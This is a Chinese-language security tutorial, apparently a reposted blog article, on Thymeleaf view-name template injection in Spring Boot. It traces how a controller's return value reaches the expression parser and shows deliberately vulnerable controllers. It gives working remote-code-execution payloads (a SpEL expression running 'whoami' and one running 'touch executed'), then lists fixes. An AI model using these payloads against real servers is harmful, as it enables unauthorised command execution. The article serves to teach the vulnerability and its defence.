溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

java安全開發(fā)中如何進行spring boot Thymeleaf模板注入

發(fā)布時間:2021-11-20 15:49:30 來源:億速云 閱讀:175 作者:柒染 欄目:網(wǎng)絡管理

這篇文章將為大家詳細講解有關(guān)java安全開發(fā)中如何進行spring boot Thymeleaf模板注入,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

0x01 Thymeleaf簡介

Thymeleaf是用于Web和獨立環(huán)境的現(xiàn)代服務器端Java模板引擎。類似與python web開發(fā)中的jinja模板引擎。順便說一句,Thymeleaf是spring boot的推薦引擎

0x02 基礎知識

Spring Boot 本身就 Spring MVC 的簡化版本。是在 Spring MVC 的基礎上實現(xiàn)了自動配置,簡化了開發(fā)人員開發(fā)過程。Spring MVC 是通過一個叫 DispatcherServlet 前端控制器的來攔截請求的。而在 Spring Boot 中 使用自動配置把 DispatcherServlet 前端控制器自動配置到框架中。

例如,我們來解析 /users 這個請求
java安全開發(fā)中如何進行spring boot Thymeleaf模板注入

  1. DispatcherServlet 前端控制器攔截請求 /users

  2. servlet 決定使用哪個 handler 處理

  3. Spring 檢測哪個控制器匹配 /users,Spring 從 @RquestMapping 中查找出需要的信息

  4. Spring 找到正確的 Controller 方法后,開始執(zhí)行 Controller 方法

  5. 返回 users 對象列表

  6. 根據(jù)與客戶端交互需要返回 Json 或者 Xml 格式

spring boot 相關(guān)注解

  • @Controller  處理 Http 請求

  • @RestController  @Controller 的衍生注解

  • @RequestMapping  路由請求 可以設置各種操作方法

  • @GetMapping  GET 方法的路由

  • @PostMapping  POST 方法的路由

  • @PutMapping  PUT 方法的路由

  • @DeleteMapping  DELETE 方法的路由

  • @PathVariable  處理請求 url 路徑中的參數(shù) /user/{id}

  • @RequestParam  處理問號后面的參數(shù)

  • @RequestBody  請求參數(shù)以json格式提交

  • @ResponseBody  返回 json 格式

Controller注解

@Controller 一般應用在有返回界面的應用場景下.例如,管理后臺使用了 thymeleaf 作為模板開發(fā),需要從后臺直接返回 Model 對象到前臺,那么這時候就需要使用 @Controller 來注解。

RequestMapping注解

用來將一個controller添加至路由中

0x03 環(huán)境配置

https://github.com/veracode-research/spring-view-manipulation/

我們以spring boot + Thymeleaf模板創(chuàng)建一個帶有漏洞的項目。核心代碼如下

@GetMapping("/path")
    public String path(@RequestParam String lang) {
        return  lang ; //template path is tainted
    }

代碼含義如下:用戶請求的url為path,參數(shù)名稱為lang,則服務器通過Thymeleaf模板,去查找相關(guān)的模板文件。

例如,用戶通過get請求/path?lang=en,則服務器去自動拼接待查找的模板文件名,為resources/templates/en.html,并返回給用戶的瀏覽器。

上面的代碼存在兩個問題:

  1. 是不是存在任意文件讀?。?/p>

  2. 是不是存在諸如模板注入的漏洞???

0x04 模板注入分析

spring boot如何查找controller這塊我們不分析,因為對于我們不重要。

spring boot在`org.springframework.web.servlet.ModelAndView`方法中,開始處理用戶的請求

/**
  * This implementation expects the handler to be an {@link HandlerMethod}.
  */
 @Override
 @Nullable
 public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
   throws Exception {

  return handleInternal(request, response, (HandlerMethod) handler);
 }

隨后在org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle方法中,通過invokeForRequest函數(shù),根據(jù)用戶提供的url,調(diào)用相關(guān)的controller,并將其返回值,作為待查找的模板文件名,通過Thymeleaf模板引擎去查找,并返回給用戶

/**
  * Invoke the method and handle the return value through one of the
  * configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
  * @param webRequest the current request
  * @param mavContainer the ModelAndViewContainer for this request
  * @param providedArgs "given" arguments matched by type (not resolved)
  */
 public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
   Object... providedArgs) throws Exception {

  Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
  setResponseStatus(webRequest);

  if (returnValue == null) {
   if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
    disableContentCachingIfNecessary(webRequest);
    mavContainer.setRequestHandled(true);
    return;
   }
  }
  else if (StringUtils.hasText(getResponseStatusReason())) {
   mavContainer.setRequestHandled(true);
   return;
  }

  mavContainer.setRequestHandled(false);
  try {
   this.returnValueHandlers.handleReturnValue(
     returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
  }
 }

在函數(shù)中,調(diào)用this.returnValueHandlers.handleReturnValue去處理返回結(jié)果。最終在org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue方法中,將controller返回值作為視圖名稱。代碼如下

@Override
 public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
   ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {

  if (returnValue instanceof CharSequence) {
   String viewName = returnValue.toString();
   mavContainer.setViewName(viewName);
   if (isRedirectViewName(viewName)) {
    mavContainer.setRedirectModelScenario(true);
   }
  }

spring boot最終在org.springframework.web.servlet.DispatcherServlet#processDispatchResult方法中,調(diào)用Thymeleaf模板引擎的表達式解析。將上一步設置的視圖名稱為解析為模板名稱,并加載模板,返回給用戶。核心代碼如下
org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression

final String viewTemplateName = getTemplateName();
        final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();

      
        final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

        final FragmentExpression fragmentExpression;
        try {
            // By parsing it as a standard expression, we might profit from the expression cache
            fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
        } catch (final TemplateProcessingException e) {
            throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
        }

0x05 不安全的java代碼

第一種:

@GetMapping("/path")
    public String path(@RequestParam String lang) {
        return  lang ; //template path is tainted
    }

在查找模板中,引用了用戶輸入的內(nèi)容

payload

GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8090
Connection: close

java安全開發(fā)中如何進行spring boot Thymeleaf模板注入

第二種

根據(jù)spring boot定義,如果controller無返回值,則以GetMapping的路由為視圖名稱。當然,對于每個http請求來講,其實就是將請求的url作為視圖名稱,調(diào)用模板引擎去解析。

https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc-ann-return-types

在這種情況下,我們只要可以控制請求的controller的參數(shù),一樣可以造成RCE漏洞。例如我們可以控制document參數(shù)

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}

GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

0x06 修復方案

1. 設置ResponseBody注解

如果設置`ResponseBody`,則不再調(diào)用模板解析

2. 設置redirect重定向

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect

根據(jù)spring boot定義,如果名稱以redirect:開頭,則不再調(diào)用ThymeleafView解析,調(diào)用RedirectView去解析controller的返回值

3. response

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

由于controller的參數(shù)被設置為HttpServletResponse,Spring認為它已經(jīng)處理了HTTP Response,因此不會發(fā)生視圖名稱解析

關(guān)于java安全開發(fā)中如何進行spring boot Thymeleaf模板注入就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI